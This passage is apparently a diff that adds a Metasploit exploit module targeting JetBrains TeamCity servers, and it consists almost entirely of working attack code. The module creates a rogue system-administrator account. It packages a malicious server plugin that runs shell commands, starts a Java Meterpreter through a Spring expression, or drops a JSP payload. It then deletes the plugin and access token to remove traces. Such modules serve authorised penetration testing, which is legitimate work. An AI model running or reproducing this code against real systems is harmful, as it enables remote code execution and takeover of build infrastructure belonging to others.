Faker::Name.name, + 'email' => Faker::Internet.email(name: admin_username), + 'roles' => { + 'role' => [ + { + 'roleId' => 'SYSTEM_ADMIN', + 'scope' => 'g' + } + ] + } + }.to_json + ) + + unless res&.code == 200 + print_warning('Failed to create an administrator user.') + return nil + end + + print_status("Created account: #{admin_username}:#{admin_password} (Note: This account will not be deleted by the module)") + + http_authorization = basic_auth(admin_username, admin_password) + + # Login via HTTP basic authorization and store the session cookie. + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'admin', 'admin.html'), + 'keep_cookies' => true, + 'headers' => { + 'Origin' => full_uri, + 'Authorization' => http_authorization + } + ) + + # A failed login attempt will return in a 401. We expect a 302 redirect upon success. + if res&.code == 401 + print_warning('Failed to login with new admin user credentials.') + return nil + end + + http_authorization + end + + def create_payload_plugin(plugin_name) + if target['Arch'] == ARCH_CMD + + case target['Platform'] + when 'win' + shell = 'cmd.exe' + flag = '/c' + when 'linux', 'unix' + shell = '/bin/sh' + flag = '-c' + else + print_warning('Unsupported target platform.') + return nil + end + + zip_resources = Rex::Zip::Archive.new + + zip_resources.add_file( + "META-INF/build-server-plugin-#{plugin_name}.xml", + <<~XML + + + + + + #{shell} + #{flag} + + + + + + XML + ) + elsif target['Arch'] == ARCH_JAVA + # If the platform is java we can bootstrap a Java Meterpreter + if target['Platform'] == 'java' + zip_resources = payload.encoded_jar(random: true) + + # Add in PayloadServlet as this is implements Runable and we can run the payload in a thread. + servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class') + zip_resources.add_file('/metasploit/PayloadServlet.class', servlet) + + payload_bean_id = Rex::Text.rand_text_alpha(8) + + # We start the payload in a new thread via some Spring Expression Language (SpEL). + bootstrap_spel = "\#{ new java.lang.Thread(#{payload_bean_id}).start() }" + + # NOTE: We place bootstrap_spel in a separate bean, as if this generates an exception the plugin will fail + # to load correctly, which prevents the exploit from deleting the plugin later. We choose java.beans.Encoder + # as the setExceptionListener method will accept the null value the bootstrap_spel will generate. If we + # choose a property that does not exist, we generate several exceptions in the teamcity-server.log. + + zip_resources.add_file( + "META-INF/build-server-plugin-#{plugin_name}.xml", + <<~XML + + + + + + + + XML + ) + else + # For non java platforms with ARCH_JAVA, we can drop a JSP payload. + zip_resources = Rex::Zip::Archive.new + + zip_resources.add_file("buildServerResources/#{plugin_name}.jsp", payload.encoded) + end + + else + print_warning('Unsupported target architecture.') + return nil + end + + zip_plugin = Rex::Zip::Archive.new + + zip_plugin.add_file( + 'teamcity-plugin.xml', + <<~XML + + + + #{plugin_name} + #{plugin_name} + #{Faker::Lorem.sentence} + #{Faker::App.semantic_version} + + #{Faker::Company.name} + #{Faker::Internet.url} + + + + + XML + ) + + zip_plugin.add_file("server/#{plugin_name}.jar", zip_resources.pack) + + zip_plugin + end + + def get_install_path(http_authorization) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server', 'plugins'), + 'keep_cookies' => true, + 'headers' => { + 'Origin' => full_uri, + 'Authorization' => http_authorization + } + ) + + unless res&.code == 200 + print_warning('Failed to request plugins information.') + return nil + end + + plugins_xml = res.get_xml_document + + restapi_data = plugins_xml.at("//plugin[@name='rest-api']") + + restapi_load_path = restapi_data&.attr('loadPath') + + if restapi_load_path.nil? + print_warning('Failed to extract plugin loadPath.') + return nil + end + + # C:\TeamCity\webapps\ROOT\WEB-INF\plugins\rest-api + + platforms = { + '\\webapps\\ROOT\\WEB-INF\\plugins\\' => '\\', + '/webapps/ROOT/WEB-INF/plugins/' => '/' + } + + platforms.each do |path, sep| + if (pos = restapi_load_path.index(path)) + return [restapi_load_path[0, pos], sep] + end + end + + print_warning('Failed to extract install path.') + nil + end + + def get_data_dir_path(http_authorization) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server', 'dataDirectoryPath'), + 'keep_cookies' => true, + 'headers' => { + 'Origin' => full_uri, + 'Authorization' => http_authorization + } + ) + + unless res&.code == 200 + print_warning('Failed to request data directory path.') + return nil + end + + res.body + end + + def get_build_number(http_authorization) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server'), + 'keep_cookies' => true, + 'headers' => { + 'Origin' => full_uri, + 'Authorization' => http_authorization + } + ) + + unless res&.code == 200 + print_warning('Failed to request server information.') + return nil + end + + xml_data = res.get_xml_document + + server_data = xml_data.at('server') + + server_data.attr('buildNumber') + end + + def get_plugin_uuid(http_authorization, plugin_name) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'admin', 'admin.html'), + 'keep_cookies' => true, + 'headers' => { + 'Origin' => full_uri, + 'Authorization' => http_authorization + }, + 'vars_get' => { + 'item' => 'plugins' + } + ) + + unless res&.code == 200 + print_warning('Failed to list all plugins.') + return nil + end + + uuid_match = res.body.match(/'#{Regexp.quote(plugin_name)}', '([a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12})'/) + + if uuid_match&.length != 2 + print_warning('Failed to grep for plugin GUID') + return nil + end + + uuid_match[1] + end + + def delete_plugin(http_authorization, plugin_name) + plugin_uuid = get_plugin_uuid(http_authorization, plugin_name) + + if plugin_uuid.nil? + print_warning('Failed to discover enabled plugin UUID') + return false + end + + vprint_status("Enabled Plugin UUID: #{plugin_uuid}") + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'), + 'keep_cookies' => true, + 'headers' => { + 'Origin' => full_uri, + 'Authorization' => http_authorization + }, + 'vars_post' => { + 'action' => 'setEnabled', + 'enabled' => 'false', + 'uuid' => plugin_uuid + } + ) + + unless res&.code == 200 + print_warning('Failed to disable the plugin.') + return false + end + + # The UUID changes after we disable the plugin, so we need to call get_plugin_uuid a second time. + plugin_uuid = get_plugin_uuid(http_authorization, plugin_name) + + if plugin_uuid.nil? + print_warning('Failed to discover disabled plugin UUID') + return false + end + + vprint_status("Disabled Plugin UUID: #{plugin_uuid}") + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'), + 'keep_cookies' => true, + 'headers' => { + 'Origin' => full_uri, + 'Authorization' => http_authorization + }, + 'vars_post' => { + 'action' => 'delete', + 'uuid' => plugin_uuid + } + ) + + unless res&.code == 200 + print_warning('Failed request for plugin deletion.') + return false + end + + true + end + + def delete_token(token_name, token_value) + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin', 'accessTokens.html'), + 'keep_cookies' => true, + 'headers' => { + 'Origin' => full_uri, + 'Authorization' => "Bearer #{token_value}" + }, + 'vars_post' => { + 'accessTokenName' => token_name, + 'delete' => 'true', + 'userId' => datastore['TEAMCITY_ADMIN_ID'] + } + ) + + res&.code == 200 + end + +end